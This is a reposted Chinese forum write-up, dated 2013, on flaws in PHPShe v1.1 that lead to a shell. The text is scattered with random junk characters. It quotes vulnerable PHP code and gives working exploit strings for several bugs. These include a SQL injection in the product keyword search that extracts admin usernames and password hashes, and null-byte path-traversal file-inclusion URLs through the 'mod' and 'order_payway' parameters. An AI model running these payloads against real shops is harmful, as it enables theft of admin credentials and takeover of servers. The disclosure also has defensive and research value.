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标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]
作者: admin    时间: 2013-4-16 16:45
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/- X9 Q1 H1 ~5 h  o9 }
/* Phpshe v1.1 Vulnerability/ D. g1 K$ |4 v- u$ F4 t
/* ========================' z0 v' F* g8 Y0 ?- W# I8 G$ [
/* By: : Kn1f3
% s( g8 _3 T4 H5 G% A) }/* E-Mail : 681796@qq.com$ X* V% s5 V( }' g% t# N  M
/*******************************************************/
9 F; u6 u9 y9 U9 Y0×00 整体大概参数传输
7 W/ _( U% F& m! M; Q% ?7 @
' T- {: D( z, H% p4 N' ?( W4 I; n& L2 t" `1 C

: l& N3 C( z! v% v$ {//common.php
6 f+ ~# D- A6 C0 d" Zif (get_magic_quotes_gpc()) {7 n# P6 q; Z3 {6 g5 C5 P
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
5 U: J- |& }( k!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');+ p7 b: Z# p5 v& u6 M8 }' K
}
" e2 }9 S: m/ |$ f# ~else {3 ^3 G/ X$ B5 z) n4 Y8 h
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');, Q5 g- ?6 u8 B2 m! R% y5 ~9 O+ F
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');# Y( {/ r- f" s  H2 @
}- |* X9 [$ Y- g* @% d1 t0 q  p
session_start();" E; M9 o  n7 D. }! u3 S
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
  T5 k3 B/ A1 J!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
* w8 L7 U8 D* P$ I8 _, n4 Z$ o7 J2 I
0×01 包含漏洞
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1 r& A% M# ^7 b+ C+ a& }
8 N) I' k) C1 \' J5 |$ c% m//首页文件
& g3 D, m5 X: `% l0 [<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
0 X: y3 Z6 q* y) G, Kinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
6 L) O, t( a( _! |# G$ lpe_result();5 g/ p. w: w" g! ~9 R" ~
?>/ o' [3 v2 P5 j/ _5 g
//common 文件 第15行开始
( F* n+ @% B( r/ ~- F1 i* @url路由配置% t% b: A! P  g# ?0 c8 z
$module = $mod = $act = 'index';& C5 k9 i9 [" h1 h1 k* {
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);2 H9 t/ I7 C" u7 x) W. `. {, x
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);3 q3 F$ g( d* P- e
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);) \, Z1 b! m& Q. @4 e1 K
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
5 |+ A7 R9 z: E) q' }


  w( t8 s+ G8 r
0 w9 g1 x& }+ |5 m  I2 g6 y 0×02 搜索注入8 d3 V5 j* x' _

: u& h0 `7 d" d0 r8 ^3 W9 `& B9 G<code id="code2">

//product.php文件
+ K: P! z0 z% mcase 'list':
: N' o, n  B. M5 a6 A3 u% ]: L$category_id = intval($id);
1 Y2 r, [5 ~# ?. A$info = $db->pe_select('category', array('category_id'=>$category_id));, M: O+ S8 b( I$ {, n% |( f
//搜索
* l5 H: D# Y  n6 R: i6 w& {% B& U$sqlwhere = " and `product_state` = 1";; e6 i! x: d3 l6 E5 u$ |( d
pe_lead('hook/category.hook.php');
3 ^- u& j# w. d6 o* O" J2 e% g/ }if ($category_id) {
. n. z% {$ x5 q: G5 n% swhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
, l2 Y/ X# l" ]3 n1 Q}
! }, v' ^3 r6 r  P4 j$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤# p% v5 s: f9 D3 }8 y
if ($_g_orderby) {7 F5 U8 Q) l2 z" g/ ~2 f' [
$orderby = explode('_', $_g_orderby);! G& Y- y9 f3 g: X& T
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";5 E) d8 E! |1 A2 [6 J4 a" |8 I5 F
}
' }) R% c. I: }' E! s0 {+ a6 D) felse {
* z; ^3 ?0 ]9 _/ L, X$sqlwhere .= " order by `product_id` desc";1 J/ s1 O9 l" I8 C9 L& E
}
4 Y: F) c" t' G5 U$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
$ H& O+ p7 `& p0 I. q2 l/ I8 u& r' e//热卖排行/ `6 a2 l. h% {* t  x/ o& n
$product_hotlist = product_hotlist();4 k3 c5 r7 d# m' t8 g8 C
//当前路径- k  ?" \+ e$ O8 U8 y
$nowpath = category_path($category_id);- C- x$ y1 w' a1 x' f
$seo = pe_seo($info['category_name']);
- V( q! N0 m" f# a1 Ginclude(pe_tpl('product_list.html'));
+ H, w0 R; K8 \//跟进selectall函数库
0 ^% @1 m& T1 Ipublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())' |; Q" v! U) `; g; K
{7 B8 u  M0 G: z" q: j" Y
//处理条件语句
+ b, p  G! K4 M0 u$sqlwhere = $this->_dowhere($where);9 E& p3 V- `! B8 o
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
- F% D; m0 n9 B6 i/ }" s6 U; a7 A4 _3 b}
, x- X1 v# S! t& \+ e//exp
: e: s0 L; N6 {% s$ b5 Mproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
- g1 q) x% _) t$ N

</code>" i! L6 ?( ?0 \
% Y$ `5 j6 {. w7 |0 b
0×03 包含漏洞20 R# |0 k0 Y8 `1 n) z3 Z

% |7 S8 n, r% g<code id="code3">

//order.php

case 'pay':


- z1 B& j  U6 K+ {9 z$order_id = pe_dbhold($_g_id);


9 n: W3 {* Y; y9 Y6 M$ z0 l% ?7 `$cache_payway = cache::get('payway');


0 e' q/ k" v' uforeach($cache_payway as $k => $v) {


4 x0 D, _: W1 y, f, |$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


4 f1 J9 ?. _% k6 F8 Mif ($k == 'bank') {

1 [4 i. w" a  p! j1 L+ [
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

: ]" g: r, D- [! C! C# [
}


' f% g6 |% K8 ?}

% h9 ]' n0 V1 ], F& \8 t) h2 K$ P
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


- m6 e0 |1 Y* A7 i/ n# P0 W+ N!$order['order_id'] && pe_error('订单号错误...');

" }2 k4 g4 S- ]+ Q
if (isset($_p_pesubmit)) {


- I1 U2 l3 Q1 S4 j9 \if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


+ @6 D$ s7 ?) p' v/ F% o4 [$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


/ `2 ?+ U9 }$ D. Nforeach ($info_list as $v) {


+ j) [$ Z7 A0 f7 S3 M+ J9 L$order['order_name'] .= "{$v['product_name']};";
) U4 n& G( f/ N; h. o8 n


; w( y9 y# J. u9 d: Q% s' h}

- {9 l; z6 b5 ^, v& s
echo '正在为您连接支付网站，请稍后...';


4 B# _6 t8 I* J5 b; Uinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

8 v$ r3 Z9 c3 E: y
}//当一切准备好的时候就可以进行"鸡肋包含了"

1 B) a- L" ?4 |
else {

3 \$ }. @/ A" c- o
pe_error('支付错误...');


4 z* |/ \, _. D}

4 q2 w) `0 H2 |& S) ^
}


4 a7 s/ d7 v* b. e3 Q$seo = pe_seo('选择支付方式');

9 e/ s, r% l1 C9 h8 V
include(pe_tpl('order_pay.html'));


+ ~& z# u0 O5 o  i" gbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
$ c) E0 r) {0 C0 l6 Hhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg



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